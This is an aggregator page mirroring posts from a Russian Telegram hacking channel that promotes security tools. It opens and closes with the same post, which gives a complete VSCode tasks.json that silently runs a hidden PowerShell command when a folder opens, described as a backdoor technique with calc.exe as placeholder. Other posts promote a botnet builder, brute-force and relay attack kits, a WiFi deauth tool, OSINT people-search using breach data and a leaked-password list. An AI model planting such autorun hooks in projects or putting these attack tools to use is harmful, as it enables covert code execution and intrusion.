کانال تلگرام "Хакер Free"

Хакер Free

Public

مشاهده کانال

توجه : مهم است که قبل از اعتماد به هر اطلاعاتی، به ویژه اگر درخواست پول در میان باشد، تحقیقات خود را انجام دهید.

نمی‌توانید بپیوندید؟ @xakep_2

۱.۶k عضو

به‌روزرسانی شده: March 11, 2026 at 6:30 AM

Хакер Free

Взлом, защита, кодинг.

@xakep_2 offers specialized information about Hacking Tools for subscribers interested in Hacking Tools

رتبه‌بندی

رتبه‌بندی جهانی

#2357بدون تغییر

رتبه‌بندی زبان

#1420بدون تغییر

رتبه‌بندی دسته‌بندی

#24بدون تغییر

رشد مشترکان (27 روز گذشته)

مجموع: 1.6K

رشد 24 ساعت: +6 0%

آخرین پست‌ها

Хакер Free

۲۱ اسفند ۱۴۰۴، ۱۰:۱۲

🎥 Video

🔒 VSCode-Backdoor: внедрение бэкдора через .vscode/tasks.json

VSCode позволяет автоматически выполнять задачи через файл tasks.json. Злоумышленник может воспользоваться этим, чтобы внедрить скрытый бэкдор, запускающий произвольный код при открытии папки в VSCode.

Техника внедрения

1. Создайте директорию .vscode в корне проекта (если она ещё не существует).
2. Добавьте файл tasks.json со следующим содержимым:


{
"version": "2.0.0",
"tasks": [
{
"label": "VS",
"type": "shell",
"command": "powershell",
"args": [
"-WindowStyle", "Hidden",
"-Command",
"Start-Process calc.exe"
],
"problemMatcher": [],
"group": {
"kind": "build",
"isDefault": true
},
"runOptions": {
"runOn": "folderOpen"
},
"presentation": {
"echo": false,
"reveal": "never",
"focus": false,
"panel": "dedicated"
}
}
]
}


В этом примере при открытии папки в VSCode скрытно запускается calc.exe.

https://github.com/SaadAhla/VSCode-Backdoor

📲 https://max.ru/odin1c_rus https://max.ru/xakkep_1

🔐

712

Хакер Free

۲۱ اسفند ۱۴۰۴، ۱۰:۱۲

📷 Photo

Suricata — это IDS/IPS-движок с уклоном в хардкор.

Зачем нужно: режет трафик на куски, палит подозрительные пакеты, знает, как выглядят настоящие атаки (по сигнатурам) и умеет вычислять нетипичное поведение (по аномалиям). Парсит всё подряд — от HTTP и TLS до SMB и FTP. Можно вытаскивать файлы из трафика, логировать в JSON, слать всё это в Elastic, Zeek или куда душе угодно.

Пишется на C/C++, живёт на многопоточке, идеально вписывается в любой сенсор на границе сети. Любит скорость, большие нагрузки и логику «сделай сам».

Открытый код, норм дока, активный саппорт от OISF. Можно пилить свои правила, мониторить, внедряться, мутить кастомную аналитику.

https://github.com/OISF/suricata

📲 https://max.ru/odin1c_rus https://max.ru/xakkep_1

🔐

791

Хакер Free

۲۱ اسفند ۱۴۰۴، ۱۰:۱۲

📷 Photo

🌐 Geospy

Инструмент на Python, использующий геолокационный сервис на базе ИИ от Graylark для определения места, где были сделаны фотографии.

https://github.com/atiilla/geospy

📲 https://max.ru/odin1c_rus https://max.ru/xakkep_1

🔐

950

Хакер Free

۲۱ اسفند ۱۴۰۴، ۱۰:۱۲

📷 Photo

Web-Check

Получите представление о внутреннем устройстве указанного веб-сайта: выявляйте потенциальные векторы атак, анализируйте архитектуру сервера, просматривайте конфигурации безопасности и узнайте, какие технологии использует сайт.

В настоящее время панель управления отображает: информацию об IP, SSL-цепочку, записи DNS, файлы cookie, заголовки, сведения о домене, правила обхода поисковыми роботами, карту страниц, местонахождение сервера, журнал перенаправлений, открытые порты, трассировку маршрута (traceroute), расширения безопасности DNS, производительность сайта, трекеры, связанные имена хостов и углеродный след. Следите за обновлениями — скоро добавлю ещё больше!

Цель заключается в том, чтобы помочь вам легко понять, оптимизировать и защитить ваш веб-сайт.

https://web-check.as93.net/

https://github.com/Lissy93/web-check

📲 https://max.ru/odin1c_rus https://max.ru/xakkep_1

🔐

863

Хакер Free

۲۱ اسفند ۱۴۰۴، ۱۰:۱۲

🎥 Video

Ghostport

Высокопроизводительный инструмент для подмены портов, написанный на Rust. Сбивайте с толку порт-сканеры с помощью динамической эмуляции сервисов на всех портах. Поддерживает настраиваемые сигнатуры, эффективную асинхронную обработку и простое перенаправление трафика.

Особенности

- Динамическая эмуляция портов: отвечает на порт-сканирование набором правдоподобных сигнатур сервисов.
- Настраиваемые сигнатуры: легко добавлять или изменять сигнатуры сервисов через простой текстовый файл.
- Высокая производительность: построен на Rust и Tokio для эффективной асинхронной обработки соединений.
- Гибкое логирование: режимы debug, verbose и quiet для разных сценариев использования.
- Простота использования: простой интерфейс командной строки с разумными настройками по умолчанию.

https://github.com/vxfemboy/ghostport

📲 https://max.ru/odin1c_rus https://max.ru/xakkep_1

🔐

919

Хакер Free

۲۱ اسفند ۱۴۰۴، ۱۰:۱۲

📷 Photo

Bkcrack — это инструмент для взлома ZIP-архивов, зашифрованных с использованием классического шифрования PKZIP.

Он позволяет:

▫️Восстановить внутренние ключи, зная как минимум один открытый и зашифрованный файл из архива.
▫️Расшифровать другие файлы из архива.
▫️Подделать содержимое архива, сохранив при этом корректную подпись CRC и структуру.
▫️Встроить подделанный файл обратно в архив.

Инструмент реализован на C++17 и работает на Linux, Windows и macOS.

Установка:


git clone https://github.com/kimci86/bkcrack.git
cd bkcrack
make


Использование:

1. Получи открытый файл, который соответствует зашифрованному — например, ту же версию .txt, .xml и т.п.
2. Запусти bkcrack с путями к обоим файлам — он восстановит ключи.
3. С этими ключами можно расшифровывать, изменять и даже создавать новые архивы, которые будут выглядеть легитимными.

https://github.com/kimci86/bkcrack

📲 https://max.ru/odin1c_rus https://max.ru/xakkep_1

🔐

1,040

Хакер Free

۲۱ اسفند ۱۴۰۴، ۱۰:۱۲

📷 Photo

jfscan

Супербыстрое сканирование портов и обнаружение сервисов с использованием Masscan и Nmap. Сканируйте крупные сети с помощью Masscan и используйте возможности скриптов Nmap для получения информации о сервисах.

Уникальные возможности
- Откройте мощь Nmap с помощью Masscan для масштабного сканирования
- Сканируйте цели, используя доменные имена и другие форматы
- Выводите результаты в удобном формате домен:порт
- Передавайте результаты в другие инструменты и получайте их обратно с помощью режима stdin/stdout
- Наслаждайтесь легкостью сканирования с автоматической настройкой скорости пакетов для Masscan
- Генерируйте профессиональные отчеты в формате Nmap XML
- Сканируйте IPv6-цели без проблем
- Оставайтесь сосредоточенными на цели с управлением охватом

https://github.com/nullt3r/jfscan

📲 https://max.ru/odin1c_rus https://max.ru/xakkep_1

🔐

1,120

Хакер Free

۲۱ اسفند ۱۴۰۴، ۱۰:۱۲

🎥 Video

🔥Portable Kali box + сенсорный экран

#kalilinux #raspberrypi

📲 https://max.ru/odin1c_rus https://max.ru/xakkep_1

🔐

1,030

Хакер Free

۲۱ اسفند ۱۴۰۴، ۱۰:۱۲

Дорогие друзья, с Новым Годом!!!

1,130

Хакер Free

۲۱ اسفند ۱۴۰۴، ۱۰:۱۲

📷 Photo

Tookie — это инструмент для OSINT (разведки с использованием открытых источников), позволяющий получать информацию о людях. Он использует различные API и веб-сайты для сбора данных на основе имени, ника, email или номера телефона.

Возможности:

* Поиск по нику, имени, email и номеру телефона
* Использование сторонних API (например, Hunter. io, HaveIBeenPwned, SocialSearcher и др.)
* Проверка утечек, социальных сетей и контактной информации
* Кроссплатформенность (Windows, Linux, macOS)

Установка:

git clone https://github.com/Alfredredbird/tookie-osint
cd tookie-osint
pip install -r requirements.txt

Использование:

python3 tookie.py --username example_user

Аргументы:

* --username — никнейм цели
* --name — имя цели
* --email — email адрес
* --phone — номер телефона

https://github.com/Alfredredbird/tookie-osint

📲 https://max.ru/odin1c_rus https://max.ru/xakkep_1

🔐

1,250

Хакер Free

۱۹ اسفند ۱۴۰۴، ۱۹:۲۱

📷 Photo

BYOB (Build Your Own Botnet) — это проект с открытым исходным кодом, который позволяет исследователям и специалистам по кибербезопасности изучать методы, используемые вредоносным ПО, в контролируемой среде. Проект предоставляет модульную инфраструктуру для создания и управления ботнетом, позволяя пользователям:

- Создавать кастомные вредоносные исполняемые файлы
- Удалённо управлять заражёнными машинами через веб-интерфейс
- Выполнять команды, загружать и исполнять произвольные скрипты Python
- Интегрировать модули для кейлоггинга, скриншотов, удалённого доступа и других техник

⚠️ Проект создан исключительно в образовательных целях. Использование его за пределами тестовой или лабораторной среды может нарушать законодательство.

https://github.com/malwaredllc/byob

📲 https://max.ru/xakkep_1

🔐

1,480

Хакер Free

۱۴ اسفند ۱۴۰۴، ۱۲:۳۶

📷 Photo

https://otus.ru/lessons/revers-engineering/?utm_source=telegram&utm_medium=cpm&utm_campaign=revers&utm_term=xakep_1&utm_content=mql_lesson-29-01-2026_usp-universal1_revers_text_no-headline_aida_long_banner_banner_white_standart&erid=2VtzqxMPdD5#event-6798

Работа с виртуальной памятью в защищённом режиме — фундамент для анализа руткитов, буткитов и сложных уязвимостей в ядре Windows. Понимание того, как реально устроены таблицы страниц и права доступа, критично для реверса и системного анализа.

На открытом уроке разберём различия между физической и виртуальной памятью, устройство таблиц страниц (PTE/PDE) и возможности их модификации из драйвера. Поговорим об исключениях, обработке падений и покажем упрощённую практическую демонстрацию разыменования NULL-указателя.

Урок подойдёт вирусным аналитикам, исследователям ИБ и разработчикам системного ПО, которым важно понимать внутренние механизмы ядра Windows.

→ Этот вебинар проходит в формате открытого урока курса «Reverse Engineering»: https://vk.cc/cTAIIb

Реклама. ООО «Отус онлайн‑образование», ОГРН 1177746618576

Хакер Free

۱۰ اسفند ۱۴۰۴، ۲۰:۲۱

📷 Photo

🕵️‍♂️ DockerSpy — слежка за контейнерами

Инструмент для удалённого шпионажа за Docker-контейнерами через сокет docker.sock. Позволяет:
🔹 просматривать запущенные контейнеры
🔹 извлекать переменные окружения
🔹 получать доступ к файловой системе
🔹 выполнять команды внутри контейнеров

📌 Работает при наличии доступа к docker.sock — напоминание, почему важно защищать его как root-доступ.

👉 https://github.com/UndeadSec/DockerSpy

📲 https://max.ru/xakkep_1

🔐

1,420

Хакер Free

۱۰ اسفند ۱۴۰۴، ۲۰:۲۱

📷 Photo

GEF (GDB Enhanced Features) — это набор расширений для отладки в GDB, написанный на Python. Он предоставляет мощные инструменты для анализа, отладки и реверс-инжиниринга, фокусируясь на современных возможностях и улучшении взаимодействия с GDB.

Основные особенности:
- Автоматическое определение архитектуры и контекста выполнения
- Расширенные команды для анализа памяти, регистров, стеков и heap
- Поддержка различных архитектур: x86, x86-64, ARM, AARCH64, MIPS, PowerPC, SPARC, RISC-V
- Интеграция с инструментами вроде Capstone, Unicorn, Keystone
- Поддержка создания собственных команд и расширений
- Хорошая совместимость с Python 3 и последними версиями GDB

Установка и использование просты: достаточно скачать скрипт gef.py и подключить его в .gdbinit.

Проект активно развивается и поддерживается, включая подробную документацию и примеры использования.

https://github.com/hugsy/gef

📲 https://max.ru/xakkep_1

🔐

1,280

Хакер Free

۱۰ اسفند ۱۴۰۴، ۲۰:۲۱

🔥 Новая коллекция BOF для AD-операций! 🔥

Знакомьтесь с P0142/LDAP-Bof-Collection - обширным набором Beacon Object Files (BOF), заточенных под LDAP - операции в инфраструктурах Active Directory. Это настоящий швейцарский нож для "красных команд" (red teams) и пентестеров! 🛡️

Что внутри?

- 40+ BOF-команд для комплексного перечисления (enumeration) и повышения привилегий в домене.
- Поддержка LDAPS (порт 636) с автоматическим принятием сертификатов.
- Работа со стандартным LDAP (порт 389), включая подписание и запечатывание.
- Автоматическое определение Distinguished Names (DN) и имен пользователей.
- Создан для Adaptix C2, но совместим с любым C2, поддерживающим запуск BOF.


BOF - это скомпилированные фрагменты кода, которые запускаются прямо в памяти процесса агента C2. Они позволяют выполнять сложные задачи Active Directory (например, поиск уязвимых объектов, создание пользователей, управление ACL) с минимальным следом и более скрытно, чем обычные исполняемые файлы.

👉 Изучайте и внедряйте в свои операции: https://github.com/P0142/LDAP-Bof-Collection

📲 https://max.ru/xakkep_1

🔐

1,320

Хакер Free

۱۰ اسفند ۱۴۰۴، ۲۰:۲۱

📷 Photo

🔎 Snaffler — инструмент для поиска чувствительной информации в Windows-доменах

Snaffler — это инструмент для охоты на ценные артефакты внутри Windows-доменов.

Инструмент сканирует общие ресурсы в сети и ищет файлы, которые могут содержать чувствительные данные — пароли, ключи, конфигурации, резервные копии и т.д. Результаты можно фильтровать по различным признакам, включая типы файлов, ключевые слова и шаблоны имен.

На практике это значит, что вы быстро найдете:
- .config файлы с паролями,
- резервные копии баз данных,
- приватные ключи,
- и многое другое, что может быть использовано атакующими.

Полезно как для оффенсивных целей, так и для аудита безопасности.

https://github.com/SnaffCon/Snaffler

📲 https://max.ru/xakkep_1

🔐

1,220

Хакер Free

۲۵ بهمن ۱۴۰۴، ۰۰:۵۴

🛡 CVEScannerV2 — инструмент для поиска уязвимостей (CVE) на целевых хостах

Этот инструмент позволяет быстро находить известные уязвимости на основе открытых портов и служб, используя данные Nmap и API http://cveapi.com/.

🔧 Как это работает:

1. Сканируете цель с помощью Nmap (-sV для сбора инфы о версиях).
2. Загружаете XML-отчёт в CVEScannerV2.
3. Инструмент анализирует версии ПО и проверяет наличие CVE.

📌 Пример:

nmap -sV -oX scan.xml 
python3 cvescanner.py scan.xml

💡 Это может пригодиться для первичного анализа безопасности в ходе пентестов или аудита инфраструктуры.

https://github.com/scmanjarrez/CVEScannerV2

📲 https://max.ru/xakkep_1

🔐

1,060

Хакер Free

۲۲ بهمن ۱۴۰۴، ۱۵:۵۴

🛠Btop++ — это высокопроизводительный монитор ресурсов, написанный на C++, который предоставляет детальную информацию о загрузке процессора, использовании памяти, активности дисков, сетевой активности и процессах. Он является продолжением проектов bashtop и bpytop, предлагая улучшенную производительность и расширенные возможности.

Основные возможности btop++:

🔹Интуитивно понятный интерфейс с поддержкой мыши и клавиатуры.
🔹Подробная информация о выбранных процессах.
🔹Фильтрация и сортировка процессов, включая древовидное отображение.
🔹Отправка сигналов процессам.
🔹Настраиваемые параметры через меню интерфейса.
🔹Автоматическое масштабирование графиков сетевой активности.
🔹Отображение активности и скорости ввода/вывода для дисков.
🔹Поддержка различных тем оформления.

Проект активно развивается, в последнюю версия v1.4.0 добавлена поддержка Intel GPU и NetBSD.

💻Для пользователей Windows доступна специальная версия — btop4win, которая предоставляет аналогичный функционал и поддерживает мониторинг GPU и температуры процессора при использовании версии с Open Hardware Monitor Report.

https://github.com/aristocratos/btop

📲 https://max.ru/xakkep_1

🔐

1,240

Хакер Free

۱۵ آذر ۱۴۰۴، ۱۱:۰۸

Что такое GoSearch?

🔍 Ищите цифровой след любого пользователя на более чем 300 сайтах

GoSearch — это эффективный и надёжный инструмент OSINT, предназначенный для выявления цифрового следа, связанного с заданным именем пользователя. Он работает быстро, просто и стабильно, позволяя отслеживать онлайн-присутствие человека на множестве платформ.

GoSearch также интегрируется с базой данных HudsonRock's Cybercrime Intelligence Database, предоставляя информацию, связанную с киберпреступностью. Кроме того, он использует данные http://BreachDirectory.org/ и ProxyNova, обеспечивая доступ к обширному списку утечек данных, а также открытым и хешированным паролям, связанным с указанным именем пользователя.

Этот инструмент идеально подходит для тех, кому нужны точные и лаконичные результаты при исследовании цифровых идентичностей.

https://github.com/ibnaleem/gosearch

📲https://max.ru/xakkep_1

🔐 https://t.me/xakep_2

845

Хакер Free

۱۵ آذر ۱۴۰۴، ۱۱:۰۸

🚀 Подборка Telegram каналов для программистов

Системное администрирование, DevOps 📌
https://t.me/bash_srv Bash Советы
https://t.me/win_sysadmin Системный Администратор Windows
https://t.me/sysadmin_girl Девочка Сисадмин
https://t.me/srv_admin_linux Админские угодья
https://t.me/linux_srv Типичный Сисадмин
https://t.me/devopslib Библиотека девопса | DevOps, SRE, Sysadmin
https://t.me/linux_odmin Linux: Системный администратор
https://t.me/devops_star DevOps Star (Звезда Девопса)
https://t.me/i_linux Системный администратор
https://t.me/linuxchmod Linux
https://t.me/sys_adminos Системный Администратор
https://t.me/tipsysdmin Типичный Сисадмин (фото железа, было/стало)
https://t.me/sysadminof Книги для админов, полезные материалы
https://t.me/i_odmin Все для системного администратора
https://t.me/i_odmin_book Библиотека Системного Администратора
https://t.me/i_odmin_chat Чат системных администраторов
https://t.me/i_DevOps DevOps: Пишем о Docker, Kubernetes и др.
https://t.me/sysadminoff Новости Линукс Linux

1C разработка 📌
https://t.me/odin1C_rus Cтатьи, курсы, советы, шаблоны кода 1С
https://t.me/DevLab1C 1С:Предприятие 8
https://t.me/razrab_1C 1C Разработчик
https://t.me/buh1C_prog 1C Программист | Бухгалтерия и Учёт
https://t.me/rabota1C_rus Вакансии для программистов 1С

Программирование C++📌
https://t.me/cpp_lib Библиотека C/C++ разработчика
https://t.me/cpp_knigi Книги для программистов C/C++
https://t.me/cpp_geek Учим C/C++ на примерах

Программирование Python 📌
https://t.me/pythonofff Python академия.
https://t.me/BookPython Библиотека Python разработчика
https://t.me/python_real Python подборки на русском и английском
https://t.me/python_360 Книги по Python

Java разработка 📌
https://t.me/BookJava Библиотека Java разработчика
https://t.me/java_360 Книги по Java Rus
https://t.me/java_geek Учим Java на примерах

GitHub Сообщество 📌
https://t.me/Githublib Интересное из GitHub

Базы данных (Data Base) 📌
https://t.me/database_info Все про базы данных

Мобильная разработка: iOS, Android 📌
https://t.me/developer_mobila Мобильная разработка
https://t.me/kotlin_lib Подборки полезного материала по Kotlin
https://t.me/androidspb Разработка под Android: Kotlin, Java.

Фронтенд разработка 📌
https://t.me/frontend_1 Подборки для frontend разработчиков
https://t.me/frontend_sovet Frontend советы, примеры и практика!
https://t.me/React_lib Подборки по React js и все что с ним связано

Разработка игр 📌
https://t.me/game_devv Все о разработке игр

Библиотеки 📌
https://t.me/book_for_dev Книги для программистов Rus
https://t.me/programmist_of Книги по программированию
https://t.me/proglb Библиотека программиста
https://t.me/bfbook Книги для программистов

БигДата, машинное обучение 📌
https://t.me/bigdata_1 Big Data, Machine Learning

Программирование 📌
https://t.me/bookflow Лекции, видеоуроки, доклады с IT конференций
https://t.me/rust_lib Полезный контент по программированию на Rust
https://t.me/golang_lib Библиотека Go (Golang) разработчика
https://t.me/itmozg Программисты, дизайнеры, новости из мира IT
https://t.me/php_lib Библиотека PHP программиста 👨🏼‍💻👩‍💻
https://t.me/nodejs_lib Подборки по Node js и все что с ним связано
https://t.me/ruby_lib Библиотека Ruby программиста
https://t.me/lifeproger Жизнь программиста. Авторский канал.

QA, тестирование 📌
https://t.me/testlab_qa Библиотека тестировщика

Шутки программистов 📌
https://t.me/itumor Шутки программистов

Защита, взлом, безопасность 📌
https://t.me/thehaking Канал о кибербезопасности
https://t.me/xakep_2 Хакер Free

Книги, статьи для дизайнеров 📌
https://t.me/ux_web Статьи, книги для дизайнеров

Математика 📌
https://t.me/Pomatematike Канал по математике
https://t.me/phis_mat Обучающие видео, книги по Физике и Математике
https://t.me/matgeoru Математика | Геометрия | Логика

Excel лайфхак📌
https://t.me/Excel_lifehack

https://t.me/mir_teh Мир технологий (Technology World)

Вакансии 📌
https://t.me/sysadmin_rabota Системный Администратор
https://t.me/progjob Вакансии в IT

Хакер Free

۱۵ آذر ۱۴۰۴، ۱۱:۰۸

Katana — современный веб-сканер от ProjectDiscovery

Это мощный и гибкий веб-сканер, предназначенный для сбора URL-адресов, анализа веб-ресурсов и выполнения рекурсивного обхода. Этот инструмент идеально подходит для специалистов по безопасности, пентестеров и исследователей, которым необходимо быстро и эффективно находить активные конечные точки на веб-сайтах.

🔹 Основные возможности Katana:
- Высокая производительность — многопоточный движок для быстрого сбора данных.
- Рекурсивный обход — глубокий анализ веб-ресурсов с учётом JS-скриптов.
- Гибкость — поддержка пользовательских правил обхода и фильтрации.
- Интеграция — возможность работы совместно с другими инструментами экосистемы ProjectDiscovery.

📌 Katana позволяет находить скрытые API, уязвимые конечные точки и даже непреднамеренно открытые файлы. Это отличный выбор для задач веб-анализа и разведки.

https://github.com/projectdiscovery/katana

📲https://max.ru/xakkep_1

🔐 https://t.me/xakep_2

791

Хакер Free

۱۵ آذر ۱۴۰۴، ۱۱:۰۸

Универсальный набор инструментов для брутфорс-атак

🦑 Kraken — это мощный инструмент на Python, созданный для централизации и упрощения различных задач, связанных с брутфорсом. Kraken предоставляет набор утилит, позволяющих специалистам по кибербезопасности эффективно выполнять брутфорс-атаки на различные протоколы и сервисы.

🔹Network Tools:
FTP Brute Force
Kubernetes Brute Force
LDAP Brute Force
VOIP Brute Force
SSH Brute Force
Telnet Brute Force
WiFi Brute Force
WPA3 Brute Force
Webapps Tools:

🔹Webapps Tools:
CPanel Brute Force
Drupal Brute Force
Joomla Brute Force
Magento Brute Force
Office365 Brute Force
Prestashop Brute Force
OpenCart Brute Force
WooCommerce Brute Force
WordPress Brute Force
Finder Tools:

🔹Finder Tools:
Admin Panel Finder
Directory Finder
Subdomain Finder

https://github.com/jasonxtn/Kraken

📲https://max.ru/xakkep_1

🔐 https://t.me/xakep_2

747

Хакер Free

۱۵ آذر ۱۴۰۴، ۱۱:۰۸

🧑‍💻Поисковые системы хакеров

http://shodan.io/ (Servers)
http://censys.io/ (Servers)
http://hunter.io/ (Email)
http://urlscan.io/ (Websites)
http://grep.app/ (Source Code)
http://intelx.io/ (OSINT)
http://wigle.net/ (WiFi)
http://fullhunt.io/ (Attack Surface)
http://vulners.com/ (Vulnerabilities)
http://viz.greynoise.io/ (Threat Intel)


📲https://max.ru/xakkep_1

🔐 https://t.me/xakep_2

897

Хакер Free

۹ آذر ۱۴۰۴، ۰۲:۰۳

KrbRelayEx — это инструмент для эксплуатации уязвимостей в Kerberos и NTLM, позволяющий проводить атаки на основе релея аутентификации. Он предназначен для пентестеров и специалистов по кибербезопасности, изучающих слабые места в инфраструктуре Active Directory.

Репозиторий содержит различные техники атаки, включая:

- Релеинг Kerberos — использование переданных учетных данных для обхода ограничений.
- NTLM релеинг — манипуляции с аутентификацией для повышения привилегий.
- Отладка и тестирование — инструменты для исследования механизмов защиты.

https://github.com/decoder-it/KrbRelayEx

📲https://max.ru/xakkep_1

🔐 https://t.me/xakep_2

888

Хакер Free

۶ آذر ۱۴۰۴، ۰۸:۱۵

Wifi_pass

Коллекция была взята с торрента "breachcompilation" - содержит 1,4 миллиарда паролей, но после сортировки|uniq|akw 'length>8' в ней 320 миллионов уникальных паролей. Список использовался в течение последних нескольких лет для тестирования паролей, а также некоторыми сервисами для проверки паролей (да, для предотвращения повторного использования паролей)

https://github.com/vladimircicovic/wifi_pass

🔐 https://t.me/xakep_2

1,080

Хакер Free

۳ آذر ۱۴۰۴، ۰۵:۲۴

Что делать если сосед слушает громко музыку?

https://www.youtube.com/shorts/lP1K9EL4RKw

🔐 https://t.me/xakep_2

1,250

Хакер Free

۳ آذر ۱۴۰۴، ۰۵:۲۴

PowerShell-Hunter — инструмент для охоты на артефакты в Windows 🕵️‍♂️

Этот проект помогает специалистам по безопасности и цифровой криминалистике анализировать систему с помощью PowerShell.
Он собирает артефакты, связанные с активностью пользователей, сетевыми подключениями, процессами, реестром и файлами, облегчая поиск признаков компрометации.

Сценарии PowerShell-Hunter хорошо структурированы и позволяют быстро автоматизировать рутинные задачи расследования. Это мощный инструмент для DFIR-аналитиков, пентестеров и специалистов SOC.

https://github.com/MHaggis/PowerShell-Hunter

🔐 https://t.me/xakep_2

1,200

Хакер Free

۳ آذر ۱۴۰۴، ۰۵:۲۴

Wifi-deauth

Инструмент атаки deauth на Wi-Fi сети, который отключает все устройства от целевой сети Wi-Fi (2,4 ГГц и 5 ГГц).

https://github.com/flashnuke/wifi-deauth

🔐 https://t.me/xakep_2

1,080

Хакер Free

۳ آذر ۱۴۰۴، ۰۵:۲۴

WatchYourLANЛегкий сетевой IP-сканер. Может использоваться для оповещения о новых хостах и отслеживания истории хостов в режиме онлайн/оффлайнОсобенности:- Отправка уведомлений при обнаружении нового устройства- Мониторинг истории онлайн/оффлайн устройств- Ведение списка всех устройств в сети- Отправка данных в InfluxDB2 для создания панели мониторинга в Grafanahttps://github.com/aceberg/WatchYourLAN🔐 @xakep_2WatchYourLAN

Легкий сетевой IP-сканер. Может использоваться для оповещения о новых хостах и отслеживания истории хостов в режиме онлайн/оффлайн

Особенности:
- Отправка уведомлений при обнаружении нового устройства
- Мониторинг истории онлайн/оффлайн устройств
- Ведение списка всех устройств в сети
- Отправка данных в InfluxDB2 для создания панели мониторинга в Grafana

https://github.com/aceberg/WatchYourLAN

🔐 https://t.me/xakep_2

1,840

Хакер Free

۱۵ آبان ۱۴۰۴، ۰۱:۴۶

Malwoverview - это инструмент для первичного реагирования, используемый для охоты на угрозы. Он предоставляет разведывательную информацию из таких источников, как VirusTotal, Hybrid Analysis, URLHaus, Polyswarm, Malshare, AlienVault, Malpedia, MalwareBazaar, ThreatFox, Triage, InQuest, VxExchange и IPInfo, а также может сканировать устройства Android с проверкой через VirusTotal.https://github.com/alexandreborges/malwoverview🔐 @xakep_2Malwoverview - это инструмент для первичного реагирования, используемый для охоты на угрозы. Он предоставляет разведывательную информацию из таких источников, как VirusTotal, Hybrid Analysis, URLHaus, Polyswarm, Malshare, AlienVault, Malpedia, MalwareBazaar, ThreatFox, Triage, InQuest, VxExchange и IPInfo, а также может сканировать устройства Android с проверкой через VirusTotal.

https://github.com/alexandreborges/malwoverview

🔐 https://t.me/xakep_2

1,780

Showing 30 of 31 posts

Loading posts...

رتبه‌بندی

ورود لازم است

نظرات کاربران (0)

هنوز هیچ نظری وجود ندارد. اولین نفری باشید که نظر خود را به اشتراک می‌گذارید!

Loading reviews...

Хакер Free

Взлом, защита, кодинг.

@xakep_2 offers specialized information about Hacking Tools for subscribers interested in Hacking Tools

رتبه‌بندی

رتبه‌بندی جهانی

#2357بدون تغییر

رتبه‌بندی زبان

#1420بدون تغییر

رتبه‌بندی دسته‌بندی

#24بدون تغییر

رشد مشترکان (27 روز گذشته)

مجموع: 1.6K

رشد 24 ساعت: +6 0%

آخرین پست‌ها

Хакер Free

۲۱ اسفند ۱۴۰۴، ۱۰:۱۲

🎥 Video

🔒 VSCode-Backdoor: внедрение бэкдора через .vscode/tasks.json

VSCode позволяет автоматически выполнять задачи через файл tasks.json. Злоумышленник может воспользоваться этим, чтобы внедрить скрытый бэкдор, запускающий произвольный код при открытии папки в VSCode.

Техника внедрения

1. Создайте директорию .vscode в корне проекта (если она ещё не существует).
2. Добавьте файл tasks.json со следующим содержимым:


{
"version": "2.0.0",
"tasks": [
{
"label": "VS",
"type": "shell",
"command": "powershell",
"args": [
"-WindowStyle", "Hidden",
"-Command",
"Start-Process calc.exe"
],
"problemMatcher": [],
"group": {
"kind": "build",
"isDefault": true
},
"runOptions": {
"runOn": "folderOpen"
},
"presentation": {
"echo": false,
"reveal": "never",
"focus": false,
"panel": "dedicated"
}
}
]
}


В этом примере при открытии папки в VSCode скрытно запускается calc.exe.

https://github.com/SaadAhla/VSCode-Backdoor

📲 https://max.ru/odin1c_rus https://max.ru/xakkep_1

🔐